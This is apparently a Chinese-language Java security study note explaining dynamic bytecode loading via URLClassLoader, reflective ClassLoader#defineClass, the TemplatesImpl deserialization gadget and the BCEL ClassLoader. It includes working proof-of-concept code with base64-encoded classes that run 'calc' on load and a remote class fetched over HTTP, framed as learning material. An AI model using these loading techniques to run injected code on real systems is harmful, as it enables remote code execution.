Java 动态加载字节码
主要是为了学习TemplatesImpl 这个在各类漏洞利用链中高频出现的类。顺便复习下ClassLoader(加载器)相关知识。
Java字节码(ByteCode)
即编译后得到的class文件内容,本质上就是JVM执行使用的一类指令。广义上包括所有能够恢复成一个类并在JVM虚拟机里加载的字节序列
下图节选自 Java安全漫谈 - 13.Java中动态加载字节码的那些方法
URLClassLoader 加载远程class文件
URLClassLoader 继承了ClassLoader ,URLClassLoader 提供了加载远程资源的能力,URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类。
Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL未以斜杠 / 结尾,使用 JarLoader 在Jar包中寻找.class文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 在本地文件系统中寻找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
攻击者通常使用的是第三种情况,即在vps上丢一个恶意class文件,然后通过HTTP协议进行远程加载。
#http://localhost:8000/evil.class
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("evil");
c.newInstance();
ClassLoader#defineClass 加载字节码
基本流程如下:
loadClass -> findClass -> defineClass
其中defineClass才是最终处理字节码的部分,将一段字节流转变成一个Java类真正的在JVM中定义了一个类。
Java默认的 ClassLoader#defineClass 是一个native方法
public class evliClass {
static {
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
}
javac编译一下得到字节码,将其base64编码之后进行加载
ClassLoader#defineClass 是一个保护属性,无法直接在外部访问,需使用反射的形式来调用
import java.lang.reflect.Method;
import java.util.Base64;
public class TestDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMZXZsaUNsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHABwBAApTb3VyY2VGaWxlAQAOZXZsaUNsYXNzLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAJZXZsaUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAABAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAABAAJAAcADAAFAA0ABgARAAgADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==");
Class evli = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "evliClass", code, 0, code.length);
evli.newInstance();
}
}
可以看到成功执行命令
TemplatesImpl 加载字节码
上面说的defineClass方法作用域是不开放的,但常用的一个攻击链 TemplatesImpl 用到了它,使得攻击者可以间接调用他。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 的内部类TransletClassLoader 重写了defineClass 方法
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
..................................
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
将ClassLoader#defineclass方法的作用域从protected类型变成了一个default类型,可以被类外部调用(同一个包内可见)。
跟踪该方法的调用到TemplatesImpl#defineTransletClasses(),传入的_bytecodes属性就是由字节码组成的数组,也就是放payload的位置。
再到TemplatesImpl#getTransletInstance(),这里需要注意_name属性不能为null,不然直接return了,生成exp的时候随便写个值上去。
最后到TemplatesImpl#newTransformer()这个public方法
最终poc如下,除了上面提到的两个属性,还需要设置 _tfactory为一个 TransformerFactoryImpl 对象,TemplatesImpl#defineTransletClasses() 方法里在得到TransletClassLoader对象的时候的run() 方法中调用了_tfactory.getExternalExtensionsMap() ,如果是null会出错。
public class TestTemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}
这里的生成字节码的类需要是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类, TemplatesImpl 中对加载的字节码是有一定要求的。
public class evalClassTemplatesImpl extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
不过还有一些细节需要注意,上面的调用只是看到了有执行到defineClass并没有提到在哪实例化(defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行,包括static块中的代码)。
先来看另外一个调用TemplatesImpl#defineTransletClasses()的方法,TemplatesImpl#getTransletIndex ()
该方法是一个public方法,修改poc直接调用该方法运行结果无事发生。
虽然有执行到defineClass,但后面没有对这个类对象进行实例化,也就是没有调用构造函数,所以其实是没有触发漏洞的。
调试一下可以发现上面的调用链所使用的TemplatesImpl#getTransletInstance方法在调用完defineTransletClasses()之后,通过_class[_transletIndex].newInstance() 实例化了类。
BCEL ClassLoader加载字节码
Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码。
通过BCEL提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码。
最后加上$$BCEL$$ 字符串开头,因为com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass() 会检查类名是否是$$BCEL$$ 开头
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class testBCEL {
public static void main(String []args) throws Exception {
JavaClass cls = Repository.lookupClass(evliClass.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
但是在Java 8u251的更新中,这个ClassLoader被移除了。BCEL ClassLoader去哪了
|